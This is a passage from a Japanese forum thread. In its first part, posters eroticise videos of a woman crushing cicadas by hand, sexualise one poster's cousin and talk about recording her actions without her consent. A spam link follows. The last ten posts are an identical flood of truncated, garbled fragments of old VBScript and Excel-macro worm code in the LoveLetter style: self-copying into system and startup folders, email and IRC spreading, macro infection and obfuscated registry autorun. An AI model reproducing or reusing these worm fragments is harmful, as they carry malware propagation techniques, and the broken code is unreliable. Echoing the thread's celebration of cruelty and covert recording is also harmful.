こんにちは(・∀・)ﾉ。
なかなかカキコできなくて申し訳ないです(残念ながらカキコできることもないのですが(^^;)。通販は営業所留めにしてもらって、履歴は削除されたらいかがでしょうか？ただ、そのブツが見つかったらヤバそうですが…。
71：ハンドファン：2011/07/01(金) 18:48:49: >>68
観させてもらいましたよd(^-')、クレイジーガール！まさにいっちゃってる感じなのが、ちょっと残念です(´ω｀)。可愛いのにもったいないっす。あれでふつうにやってくれてたら…と思いました。
72：ハンドファン：2011/07/01(金) 19:00:38: >>69
キター(*´∀｀*)！！
いよいよこの時が…、従妹ちゃんの美しくも残酷なショーが始まるのですね
(≧ω≦)！！。あのセクシーな手の中で、悶えながらイかされる…。(≧▼≦)
細くて長い指、柔かな手のひらで包まれて、時に美しく長い爪が刺さりながら、じわじわと全身を揉まれる…。どんなに悶え声をあげても、時にあどけない表情を見せる美しい少女には届かず、好奇の表情を浮かべた、いたずらっこのような瞳に見つめられながら、昇天するまで離されることはない…。
なんて(^^;、ヤバい妄想が浮かびます。

(´ω｀)。たしかに、どうやって持ち込むかが問題ですね…。
73：サーフ：2011/07/02(土) 12:12:04: そうです！夏ですね！
やはり泥酔になった状態での餌やりへの持ち込みですね。
金魚握りプレイもいいが、蝉プレイが萌えますね！
悶え苦しげに泣き叫び昇天・・・やばっす。
現在、相手側に旦那さんはあいにく、長期出張なのでチャンス！です。
現物を撮影できないにしろ、哀れな姿は見せたいものです。
夏ですから蝉ネタの動画も増えるでしょうね。
期待してチェックしていきたいものです。
74：ハンドファン：2011/07/02(土) 12:45:56: >>73こんにちは(・∀・)ﾉ。それはビックチャンス！(≧▼≦)ですね。
なるほど。餌として…、可哀そうかもしれないけど、これもペットのためなんだとかなんとか。
うーん(≧ω≦)、想像だけでヤバいっすo(;･｡･;)o。
75：サーフ：2011/07/03(日) 10:09:05: やっぱいいですね。手タレントの彼女。美しすぎます！！！
対象は蝉の♀なんですかね。断末魔が聞こえませんよね。
指に挟まれてジワジワ押し潰される・・・・ヤバ！
この画像は以前（去年）でしょうかね。今年かな？
ちょっと薄暗いのが雰囲気だしてます。
「やめてぇ～！同じ♀同士なのに・・・！子孫も残さずに死にたくない！」
て感じかな？
76：名無しさん：2011/07/04(月) 12:13:51: 連投すいません・・。
何時見てもあの動画に参ります。
さすが手タレントですよね。かなり手を強調して
ますもんね。
友人に聞きましたが、ユーチューブの場合、残虐行為など
過激なものは自動削除される又は配信者に警告がいくらしいです。
それで消えたりしてるんでしょうか？
配信者さんもこの掲示板に参加してくれれば・・。
77：ハンドファン：2011/07/04(月) 12:44:53: >>76
こんにちは(・∀・)ﾉ。自分も昨日久々に観ました。手タレントの…てタイトルで。たしかに綺麗だし、なんの戸惑いも躊躇も感じさせない思いきりの良さ、ゾクゾクします。ただ、今回は中指のリングがなかったような…。てことは、相当数の蝉があの長い指の露と化して消えていったってことですよね？リング付きの時も、潰し方の違いから確実に数匹は生贄になってみたいですし…。

我々にとっては、まさに女神ですね(*^_^*)。
78：サーフ：2011/07/04(月) 16:43:44: そーなんですよ。左中指？に指輪してました（前見たVer）
前にあった画像ではないですよね・・。
と、いうと相当な数の蝉くんが犠牲てことに！！！
案外、この我々のことを知ってる方なんでしょうかね。
自分は2ちゃんでたまたま情報がのっていたので見たらあった・・です。
我々のまだ知らないサイトがどこかにあるとか・・？
ま、推理するのはやめましょ！せっかくの画像ですから。
これからは更新があるごとに保存します！！
従妹よりキレーな手です。ほんま。
79：ハンドファン：2011/07/05(火) 12:37:26: >>78
こんにちは(・∀・)ﾉ。
そう、我々のことを知ってても知らなくても、余計な詮索はナシですよね。
なんだかんだ上げてくれてるのですし…。

分からんですよ～？
従妹ちゃんもあんな風に映せば、よりセクシーな指に見えるかもしれませんし。何より！顔も可愛くて萌えます(^^;。
80：サーフ：2011/07/06(水) 10:08:34: よく聞くと手タレさんの生贄くんは♂でしたね。
命乞いをしても容赦しない指先が体を軋めていく・・。
従妹のクラは写しは無理っぽいです。
殺める自分を記録ろして残したくない・・て
以前言ってました。
まあ、こっそりとメチャクチャにされた哀れな姿は記録に残します！
セミは最高の対象物ですよね！（♂は）
81：ハンドファン：2011/07/06(水) 12:45:57: >>80
こんにちは(・∀・)ﾉ。
たしかに！命乞い、または必死に逃げ出そうとする生贄を嘲笑うかのように、虐めることを愉しんでるように動く手ですよね？

そうでしたo(;･｡･;)o、従妹ちゃんは撮影はイヤと話してましたね、以前。
そうなると、実際にあの綺麗な手で行われる儀式を見れるのはサーフさんだけ…。
なおさら羨ましい(≧ω≦)っすね。
あの手はどんな艶めかしさで対象をイかせる(;´Д`)ﾊｱﾊｱのか、興味津々です。
82：kokoro：2011/09/03(土) 04:06:29: 不景気だと騒がれていますが・・・（；・ω・）！！ ttp://tinyurl.k2i.me/GoeA
83：名無しさん：2014/10/19(日) 04:49:03: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
84：名無しさん：2014/10/19(日) 04:49:06: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
85：名無しさん：2014/10/19(日) 04:49:26: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
86：名無しさん：2014/10/19(日) 04:49:37: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
87：名無しさん：2014/10/19(日) 04:49:48: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
88：名無しさん：2014/10/19(日) 04:49:59: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
89：名無しさん：2014/10/19(日) 04:50:01: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
90：名無しさん：2014/10/19(日) 04:50:12: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
91：名無しさん：2014/10/19(日) 04:50:14: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
92：名無しさん：2014/10/19(日) 04:50:25: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

